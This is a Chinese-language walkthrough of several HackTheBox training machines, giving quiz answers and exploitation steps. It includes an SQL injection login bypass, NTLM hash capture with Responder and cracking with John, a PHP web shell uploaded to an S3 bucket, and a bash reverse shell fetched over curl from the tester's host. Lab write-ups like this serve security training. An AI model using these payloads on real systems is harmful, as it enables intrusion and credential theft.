# Appointment

1
答案:Structured Query Language

1
答案:SQL injection

最常见的 sql 漏洞就是 sql 注入了

1
答案:Personally Identifiable Information

1
答案:A03:2021-Injection

谷歌搜索一下得到
https://owasp.org/Top10/

1
答案:Apache httpd 2.4.38 ((Debian))

利用 nmap 扫描端口查看端口服务

1
答案:443

https 默认的标准协议端口为 443

1
答案:directory

1
答案:404

1
答案:dir

1
答案:#

mysql 用来注释一行的是#

1
答案:Congratulations

访问 ip

简单的 sql 注入,使用 ' 闭合前面的语句,并用 #注释后面的语句,用户名为真的情况下成功绕过密码

1
admin '#

这里就有需要的 flag 和 task 11 的答案

# Sequel

询问哪个端口是为 mysql 服务开设的

nmap 扫描结果为 3306

1
答案:3306

1
答案:MariaDB

-u 参数指定登陆用户名

1
答案:-u

root 用户可以在不提供密码的情况下登录

1
答案:root

查询所有内容的通配符

1
答案:*

1
答案:htb

首先先连接上数据库
再通过语句查找所有数据库

1
2
mysql -uroot -h IP
show databases;

可以看到独有的数据库名称为 htb,接下来查找该数据库中的 flag 字段

1
2
3
use htb;
show tables;
select * from config;

得到 flag

# Crocodile

nmap 扫描的默认参数

1
答案:-sC

使用 nmap 扫描端口

1
答案:vsftpd 3.0.3

匿名访问登录一下

返回的码为 230

1
答案:230

匿名登陆使用的用户名也在上一问的截图当中

1
答案:anonymous

用 get 命令来下载 ftp 服务器上的文件

1
答案:get

用 get 命令下载文件 "allowed.userlist"

权限最高的是 admin

1
答案:admin

询问 apache 的版本,在之前的 nmap 扫描截图中有显示

1
答案:Apache httpd 2.4.41

1
答案:-x

我是使用 dirsearch 进行目录扫描

1
答案:login.php

访问登录页面

使用之前匿名登陆时获取的 admin 的密码登录 admin 账户(密码存放在 allowed.userlist.pass 文件中,但是我这里没有成功 get)密码为:rKXM59ESxesUFHAd

成功登录后台并获取到 flag

# Responder

访问 web 服务时被重定向到的域,直接访问下 ip

1
答案:unika.htb

由于重定向到域的问题,网页不能正常访问,因此修改一下 /etc/hosts 文件,添加

1
IP unika.htb

接着访问

1
答案:php

1
答案:page

提示已经很明显了,用来本地文件包含

1
答案:../../../../../../../../windows/system32/drivers/etc/hosts

1
答案://10.10.14.6/somefile

1
答案:New Technology Lan Manager

responder 使用的参数

1
答案:-I

john 爆破的全称

1
答案:John The Ripper

这里就要用到前几问的知识点了

先用 ifconfig 获取 tun0 也就是 vpn 地址

再用 responder -I 监听

接着在浏览器进行本地文件包含

1
http://unika.htb/index.php?page=//IP/somefile

url 中的 IP 为 tun0 中的 ip 地址即 vpn 地址,responder 抓到了 administrator 的密码 hash

保存在 hash.txt 后使用 john 进行爆破

1
john hash.txt -w=/usr/share/wordlists/rockyou.txt

rockyou.txt 是 kali 自带的密码字典,解压就可以用了

1
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

得到 administrator 的密码 badminton

1
答案:badminton

1
答案:5985

上网查找了下资料,发现 5985 端口可以利用 winrm 这个远程管理工具进行登录
使用 evil-winrm 远程管理工具进行连接

1
2
apt-get install evil-winrm
evil-winrm -i 靶机IP -u Administrator -p badminton

连接上之后会发现当前目录是个空目录,于是就回到根目录一级一级进行查找

1
2
3
4
5
6
7
8
9
cd C:/
ls
cd Users
ls
cd mike
ls
cd Desktop
ls
cat flag.txt

虽然是 windows 的机子,但是 ls 和 cd 还是可以使用(当然 dir 也可以)
经过一级级的寻找最终发现 flag 在 mike 用户的桌面上

# Three

nmap 扫描

1
答案:2

询问提供电子邮件的域名,访问 ip

1
答案:thetoppers.htb

1
答案:/etc/hosts

之前几个靶机都有过的操作,修改 /etc/hosts 文件,添加

1
靶机IP thetoppers.htb

1
答案:s3.thetoppers.htb

爆破子域名就行,但是这里不知道是什么原因,可能是 vpn 的问题,爆破不出,根据开启靶机处的提示得到答案

1
答案:Amazon S3

该服务可以使用 awscii 命令来进行交互

1
答案:aws configure

1
答案:aws s3 ls

1
答案:PHP

将 s3.thetoppers.htb 同样修改到 /etc/hosts 中

访问 http://s3.thetoppers.htb/

出现这个界面的时候就可以了

1
2
3
4
5
aws configure
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
echo '<?php system($_GET["nnnpc"]); ?>' > shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

按照之前的问题所述进行配置 awscli

列出所有 s3 的桶

列出 s3 下的目录及对象

编写命令执行的 php 代码

将 shell.php 拷贝到 s3 桶当中

查看木马有没有被解析

1
http://thetoppers.htb/shell.php?nnnpc=ls

成功解析,在上一级目录获取到 flag

1
http://thetoppers.htb/shell.php?nnnpc=cat%20../flag.txt

接着试着利用该木马来获取 shell

使用 ifconfig 命令查看 tun0(我这里查看到的 ip 为 10.10.14.125)

接下来编写 shell 文件

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.125/5555 0>&1

在 shell.sh 的文件目录下用 python 开启 web 服务

1
python3 -m http.server 8090

监听 5555 端口

1
nc -lnvp 5555

接下来用之前上的马来进行命令执行下载本地的 shell.sh

1
http://thetoppers.htb/shell.php?nnnpc=curl%2010.10.14.125:8090/shell.sh%20|%20bash

成功反弹 shell(没成功反弹的可以多执行几次 payload + 开关 vpn 试试)

在上一级目录中获取到 flag